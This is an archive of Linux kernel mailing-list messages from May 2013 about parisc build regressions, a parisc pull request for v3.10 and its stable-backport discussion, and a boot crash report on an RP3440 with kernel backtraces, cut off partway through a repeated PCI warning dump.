> Signed-off-by: Helge Deller <deller@gmx.de>

Signed-off-by: Jeroen Roovers <jer@gentoo.org>


     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cryptoapi
Subject: Re: Build regressions/improvements in v3.10-rc1 (crypto/parisc)
Date: Sun, 12 May 2013 22:49:21 +0200 (CEST)
Lines: 27
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1305122248030.5463@ayla.of.borg>
References: <alpine.DEB.2.00.1305122130270.3789@ayla.of.borg> <alpine.DEB.2.00.1305122239040.5463@ayla.of.borg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1368391767 15527 80.91.229.3 (12 May 2013 20:49:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 12 May 2013 20:49:27 +0000 (UTC)
Cc: linux-crypto@vger.kernel.org, linux-parisc@vger.kernel.org
To: Linux Kernel Development <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 12 22:49:26 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UbdCu-0008Ii-5H
	for glpp-linux-parisc@plane.gmane.org; Sun, 12 May 2013 22:49:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752157Ab3ELUtX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 May 2013 16:49:23 -0400
Original-Received: from juliette.telenet-ops.be ([195.130.137.74]:35731 "EHLO
	juliette.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751803Ab3ELUtW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 May 2013 16:49:22 -0400
Original-Received: from ayla.of.borg ([84.193.72.141])
	by juliette.telenet-ops.be with bizsmtp
	id b8pM1l00J32ts5g068pMuC; Sun, 12 May 2013 22:49:21 +0200
Original-Received: from geert (helo=localhost)
	by ayla.of.borg with local-esmtp (Exim 4.71)
	(envelope-from <geert@linux-m68k.org>)
	id 1UbdCr-0001Xk-7j; Sun, 12 May 2013 22:49:21 +0200
In-Reply-To: <alpine.DEB.2.00.1305122239040.5463@ayla.of.borg>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5017 gmane.linux.kernel:1489558 gmane.linux.kernel.cryptoapi:8794
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5017>

On Sun, 12 May 2013, Geert Uytterhoeven wrote:
> However, the full list of errors isn't that unmanageable, so I'm following
> up with a digested list...

lib/mpi/generic_mpih-mul1.c:50:3: error: inconsistent operand constraints in an 'asm': 1 errors in 1 logs
lib/mpi/generic_mpih-mul2.c:49:3: error: inconsistent operand constraints in an 'asm': 1 errors in 1 logs
lib/mpi/generic_mpih-mul3.c:49:3: error: inconsistent operand constraints in an 'asm': 1 errors in 1 logs
lib/mpi/mpih-div.c:142:6: error: inconsistent operand constraints in an 'asm': 1 errors in 1 logs
lib/mpi/mpih-div.c:205:6: error: inconsistent operand constraints in an 'asm': 1 errors in 1 logs
	v3.10-rc1/parisc/parisc-allmodconfig


Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for v3.10
Date: Mon, 13 May 2013 22:48:43 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20130513204843.GA1858@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1368478132 20389 80.91.229.3 (13 May 2013 20:48:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 May 2013 20:48:52 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 13 22:48:51 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ubzfu-0003rx-Qj
	for glpp-linux-parisc@plane.gmane.org; Mon, 13 May 2013 22:48:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752462Ab3EMUst (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 May 2013 16:48:49 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:61962 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751648Ab3EMUst (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 May 2013 16:48:49 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.29]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LwTtx-1UST8C3q5H-018N2v for
 <linux-parisc@vger.kernel.org>; Mon, 13 May 2013 22:48:47 +0200
Original-Received: (qmail invoked by alias); 13 May 2013 20:48:47 -0000
Original-Received: from p54AD3C86.dip0.t-ipconnect.de (EHLO p100.box) [84.173.60.134]
  by mail.gmx.net (mp029) with SMTP; 13 May 2013 22:48:47 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18yXdlhmmwybdFpk7kMuOSEfk+y9I2Jp1eMLQCpR7
	GXAyw+YtfgU0eL
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5018 gmane.linux.kernel:1490165
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5018>

Hi Linus,

please pull the parisc-for-3.10 branch of 

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-for-3.10

to get the latest bug and build fixes for the parisc architecture.

Thanks,
Helge

---------------------------------------

The second round of parisc updates for 3.10 includes build fixes and
enhancements to utilize irq stacks, fixes SMP races when updating PTE
and TLB entries by proper locking and makes the search for the correct
cross compiler more robust on Debian and Gentoo.

----------------------------------------------------------------
Helge Deller (2):
      parisc: implement irq stacks - part 2 (v2)
      parisc: make default cross compiler search more robust (v3)

John David Anglin (1):
      parisc: fix SMP races when updating PTE and TLB entries in entry.S

 arch/parisc/Kconfig                 |   2 +-
 arch/parisc/Makefile                |  21 +++--
 arch/parisc/include/asm/hardirq.h   |   9 +++
 arch/parisc/include/asm/processor.h |   3 +
 arch/parisc/kernel/entry.S          | 155 +++++++++++++++++++-----------------
 arch/parisc/kernel/irq.c            | 101 +++++++++++++++++++----
 arch/parisc/mm/init.c               |   4 +-
 7 files changed, 194 insertions(+), 101 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc updates for v3.10
Date: Mon, 13 May 2013 23:53:29 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <2654532.supg57YsM8@donald.sf-tec.de>
References: <20130513204843.GA1858@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart3093006.pdgbnbJYAQ"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1368482083 29552 80.91.229.3 (13 May 2013 21:54:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 May 2013 21:54:43 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 13 23:54:42 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Uc0hc-0004VO-LX
	for glpp-linux-parisc@plane.gmane.org; Mon, 13 May 2013 23:54:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755222Ab3EMVyk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 May 2013 17:54:40 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:53033 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755233Ab3EMVyj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 May 2013 17:54:39 -0400
Original-Received: (qmail 20710 invoked from network); 13 May 2013 21:53:38 -0000
Original-Received: from p548305c1.dip0.t-ipconnect.de ([::ffff:84.131.5.193]:60451 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <deller@gmx.de>; Mon, 13 May 2013 23:53:38 +0200
User-Agent: KMail/4.10.3 (Linux/3.9.1-1.gb6484b6-desktop; KDE/4.10.3; i686; ; )
In-Reply-To: <20130513204843.GA1858@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5019 gmane.linux.kernel:1490186
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5019>


--nextPart3093006.pdgbnbJYAQ
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

> Helge Deller (2):
>       parisc: make default cross compiler search more robust (v3)

Needs CC:stable as without this building 3.9.x is not possible in some 
configurations.

> John David Anglin (1):
>       parisc: fix SMP races when updating PTE and TLB entries in entry.S

Possibly also this as it's a bugfix, but Dave is the one who may be judge how 
"clear" it is.

The same is probably true for these from the first round of updates:

John David Anglin (2):
      parisc: use long branch in fork_like macro
Mike Frysinger (1):
      parisc: fix NATIVE set up in build

While I _really_ appreciate the speedup that recently happened to the parisc 
development recently I would also appreciate if we can can finally get the 
bugfix parts of that into stable kernels so we have the non-development tree 
buildable and working without the need to backport all those stuff by hand.

Eike
--nextPart3093006.pdgbnbJYAQ
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlGRYOAACgkQXKSJPmm5/E7fQQCePH17LwMNl2xP7CpUp8WOgjnh
63YAn1ESO0NhtvLZYKfKT8O7H/b+zxgl
=x2AD
-----END PGP SIGNATURE-----

--nextPart3093006.pdgbnbJYAQ--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: parisc boot crash on 3.10-rc1+git
Date: Tue, 14 May 2013 14:48:02 +0300 (EEST)
Lines: 1990
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1305141432120.9094@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1368532109 12108 80.91.229.3 (14 May 2013 11:48:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 May 2013 11:48:29 +0000 (UTC)
To: Linux Kernel list <linux-kernel@vger.kernel.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 14 13:48:25 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1UcDiQ-0000tb-CB
	for glk-linux-kernel-3@plane.gmane.org; Tue, 14 May 2013 13:48:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757072Ab3ENLsK (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 14 May 2013 07:48:10 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:37597 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751840Ab3ENLsH (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 14 May 2013 07:48:07 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 9660373D939;
	Tue, 14 May 2013 14:48:02 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 5A7F2427978; Tue, 14 May 2013 14:48:02 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 29ED6427977;
	Tue, 14 May 2013 14:48:02 +0300 (EEST)
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1490582 gmane.linux.ports.parisc:5020
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1490582>

I saw parsic fixes in todays git and gave my RP3440 a test. It did not 
work - first a __schedule_bug, then a lot of warnings from 
drivers/pci/search.c (2 different places) and finally a kernel panic.

Main Menu: Enter command or menu > bo

Interact with IPL (Y, N, or Cancel)?> y

Booting... 
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.18 root@rp3440 K nov   28 08:41:24 EET 2012


Partition Start(MB) End(MB) Id Type


1               1      32   f0 Palo


2              33     224   83 ext2


3             225   31696   83 ext2


4           31697   34715   82 swap


PALO(F0) partition contains:


Information: No console specified on kernel command line. This is normal.

PALO will choose the console currently used by firmware (serial).Current command line:

2/vmlinux root=/dev/sdb3 console=ttyS0

 0: 2/vmlinux

 1: root=/dev/sdb3

 2: console=ttyS0


<#>    edit the numbered field

'b'    boot with this command line

'r'    restore command line

'l'    list dir

? 0 2

console=ttyS0 1

Current command line:

2/vmlinux root=/dev/sdb3 console=ttyS1

 0: 2/vmlinux

 1: root=/dev/sdb3

 2: console=ttyS1


<#>    edit the numbered field

'b'    boot with this command line

'r'    restore command line

'l'    list dir

? 0 b


Command line for kernel: 'root=/dev/sdb3 console=ttyS1 palo_kernel=2/vmlinux'

Selected kernel: /vmlinux from partition 2

ELF64 executable

Entry 00100000 first 00100000 n 4

Segment 0 load 00100000 size 5349376 mediaptr 0x1000

Segment 1 load 00657bd0 size 460536 mediaptr 0x51bbd0

Segment 2 load 006cc000 size 127840 mediaptr 0x58d000

Segment 3 load 006ec000 size 23400 mediaptr 0x5ad000

Branching to kernel entry point 0x00100000.  If this is the last

message you see, you may need to switch your console.  This is

a common symptom -- search the FAQ and mailing list at parisc-linux.org


Linux version 3.10.0-rc1-00087-g674825d (mroos@rp3440) (gcc version 4.6.3 (Gentoo 4.6.3 p1.9) ) #28 Tue May 14 14:13:02 EEST 2013
unwind_init: start = 0x40541000, end = 0x405753b0, entries = 13371
FP[0] enabled: Rev 1 Model 20
The 64-bit Kernel has started...
Default page size is 4KB.
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00008860 00000491 00000000 00000002 3e45475d0860fe3d 100000f0 00000008 000000b2 000000b2
vers  00000302
CPUID vers 20 rev 5 (0x00000285)
capabilities 0x35
model 9000/800/rp3410  
parisc_cache_init: Only equivalent aliasing supported!
Memory Ranges:
 0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
 1) Start 0x0000004040000000 End 0x000000407fdfffff Size   1022 MB
Total Memory: 2046 MB
Built 2 zonelists in Zone order, mobility grouping on.  Total pages: 516615
Kernel command line: root=/dev/sdb3 console=ttyS1 palo_kernel=2/vmlinux
PID hash table entries: 4096 (order: 3, 32768 bytes)
Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
Sorting __ex_table...
Memory: 2053004k/2095104k available (3701k kernel code, 42100k reserved, 1472k data, 152k init)
virtual kernel memory layout:
   vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
   memory  : 0x0000000040000000 - 0x00000040bfe00000   (264190 MB)
     .init : 0x00000000406cc000 - 0x00000000406f2000   ( 152 kB)
     .data : 0x000000004049d4e8 - 0x000000004060d810   (1472 kB)
     .text : 0x0000000040100000 - 0x000000004049d4e8   (3701 kB)
SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=8
NR_IRQS:80
Console: colour dummy device 160x64
Calibrating delay loop... 1594.36 BogoMIPS (lpj=3188736)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 256
BUG: scheduling while atomic: swapper/0/0x0000000d
Modules linked in:
CPU: 0 PID: 0 Comm: swapper Not tainted 3.10.0-rc1-00087-g674825d #28
Backtrace:
 [<0000000040114c90>] show_stack+0x20/0x38
 [<000000004030066c>] dump_stack+0x3c/0x50
 [<000000004016b6a8>] __schedule_bug+0x70/0x98
 [<000000004010fde0>] __schedule+0x368/0x398
 [<000000004010ff40>] schedule+0x38/0x90
 [<0000000040110184>] schedule_preempt_disabled+0x2c/0x50
 [<000000004010bc30>] rest_init+0xe0/0x108
 [<00000000406ccd50>] start_kernel+0x550/0x578
 [<00000000404972bc>] packet_ioctl+0x22c/0x238
 [<000000004047a2a4>] ip_mroute_getsockopt+0x114/0x138
 [<0000000040469de8>] ip_mc_msfget+0x1c0/0x1e0
 [<000000004045428c>] raw_ioctl+0x104/0x120
 [<0000000040452860>] raw_probe_proto_opt+0x88/0x130

devtmpfs: initialized
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Storm Peak Slow DC- at 0xfffffffffe780000 [128] { 0, 0x0, 0x886, 0x00004 }
2. Everest Mako Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0af, 0x00009 }
3. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
4. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
5. Mercury PCI Bridge at 0xfffffffffed22000 [0/1] { 13, 0x0, 0x783, 0x0000a }
6. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
7. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
8. Mercury PCI Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x783, 0x0000a }
9. Mercury PCI Bridge at 0xfffffffffed2c000 [0/6] { 13, 0x0, 0x783, 0x0000a }
10. Mercury PCI Bridge at 0xfffffffffed2e000 [0/7] { 13, 0x0, 0x783, 0x0000a }
11. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
Enabling PDC_PAT chassis codes support v0.05
CPU(s): 1 x PA8800 (Mako) at 799.999900 MHz
Setting cache flush threshold to 2000000 (1 CPUs online)
SBA found Pluto 2.3 at 0xfffffffffed00000
Mercury version TR3.2 (0x32) found at 0xfffffffffed20000
LBA 0:0: PCI host bridge to bus 0000:00
pci_bus 0000:00: root bus resource [io  0x0000-0xffff]
pci_bus 0000:00: root bus resource [mem 0xffffffff80000000-0xffffffff8fffffff] (bus address [0x80000000-0x8fffffff])
pci_bus 0000:00: root bus resource [mem 0xffffff0004000000-0xffffff0fffffffff]
pci_bus 0000:00: root bus resource [bus 00-07]
Mercury version TR3.2 (0x32) found at 0xfffffffffed22000
LBA 0:1: PCI host bridge to bus 0000:20
pci_bus 0000:20: root bus resource [io  0x10000-0x1ffff] (bus address [0x0000-0xffff])
pci_bus 0000:20: root bus resource [mem 0xffffffff90000000-0xffffffff9fffffff] (bus address [0x90000000-0x9fffffff])
pci_bus 0000:20: root bus resource [mem 0xffffff1004000000-0xffffff1fffffffff]
pci_bus 0000:20: root bus resource [bus 20-27]
Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
LBA 0:2: PCI host bridge to bus 0000:40
pci_bus 0000:40: root bus resource [io  0x20000-0x2ffff] (bus address [0x0000-0xffff])
pci_bus 0000:40: root bus resource [mem 0xffffffffa0000000-0xffffffffafffffff] (bus address [0xa0000000-0xafffffff])
pci_bus 0000:40: root bus resource [mem 0xffffff2004000000-0xffffff2fffffffff]
pci_bus 0000:40: root bus resource [bus 40-47]
Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
LBA 0:3: PCI host bridge to bus 0000:60
pci_bus 0000:60: root bus resource [io  0x30000-0x3ffff] (bus address [0x0000-0xffff])
pci_bus 0000:60: root bus resource [mem 0xffffffffb0000000-0xffffffffbfffffff] (bus address [0xb0000000-0xbfffffff])
pci_bus 0000:60: root bus resource [mem 0xffffff3004000000-0xffffff3fffffffff]
pci_bus 0000:60: root bus resource [bus 60-67]
Mercury version TR3.2 (0x32) found at 0xfffffffffed28000
LBA 0:4: PCI host bridge to bus 0000:80
pci_bus 0000:80: root bus resource [io  0x40000-0x4ffff] (bus address [0x0000-0xffff])
pci_bus 0000:80: root bus resource [mem 0xffffffffc0000000-0xffffffffcfffffff] (bus address [0xc0000000-0xcfffffff])
pci_bus 0000:80: root bus resource [mem 0xffffff4004000000-0xffffff4fffffffff]
pci_bus 0000:80: root bus resource [bus 80-87]
Mercury version TR3.2 (0x32) found at 0xfffffffffed2c000
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:110
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111001100001111 Tainted: G        W   
r00-03  000000ff0804f30f 000000007fc58ca0 0000000040327f0c 000000007fc58d40
r04-07  00000000406a9250 0000000000000000 0000000000000000 0000000000000000
r08-11  00000000000000c0 00000000405f98a0 00000000000000c0 000000007fc58aa8
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 000000007fd13470
r20-23  000000007fd13440 000000007fd13428 000000007fd13418 00000000418170e0
r24-27  0000000000000000 00000000000000c0 0000000000000000 00000000406a9250
r28-31  0000000000000100 000000007fc58d10 000000007fc58dd0 000000000000011c
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327eb8 0000000040327ebc
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d58
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 5555555555555555
 IAOQ[0]: pci_find_next_bus+0xa0/0xb0
 IAOQ[1]: pci_find_next_bus+0xa4/0xb0
 RP(r2): pci_find_bus+0x44/0xa0
Backtrace:
 [<0000000040327f0c>] pci_find_bus+0x44/0xa0
 [<000000004031f26c>] pci_create_root_bus+0x9c/0x448
 [<00000000406dee8c>] lba_driver_probe+0x484/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0
 [<00000000406ccec0>] do_basic_setup+0x148/0x1a8

---[ end trace 3621c5f12f0e44c3 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:110
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111001100001111 Tainted: G        W   
r00-03  000000ff0804f30f 000000007fc58ca0 0000000040327f0c 000000007fc58d40
r04-07  00000000406a9250 000000007fc88c00 000000007fc88c00 0000000000000000
r08-11  00000000000000c0 00000000405f98a0 00000000000000c0 000000007fc58aa8
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 000000000800000f
r20-23  0000000040607a50 000000007fd13428 000000007fd13418 00000000418170e0
r24-27  0000000000000000 00000000000000c0 000000007fc88c00 00000000406a9250
r28-31  0000000000000100 000000007fc58d10 000000007fc58dd0 000000000000012f
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327eb8 0000000040327ebc
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d58
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 5555555555555555
 IAOQ[0]: pci_find_next_bus+0xa0/0xb0
 IAOQ[1]: pci_find_next_bus+0xa4/0xb0
 RP(r2): pci_find_bus+0x44/0xa0
Backtrace:
 [<0000000040327f0c>] pci_find_bus+0x44/0xa0
 [<000000004031f26c>] pci_create_root_bus+0x9c/0x448
 [<00000000406dee8c>] lba_driver_probe+0x484/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0
 [<00000000406ccec0>] do_basic_setup+0x148/0x1a8

---[ end trace 3621c5f12f0e44c4 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:110
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111001100001111 Tainted: G        W   
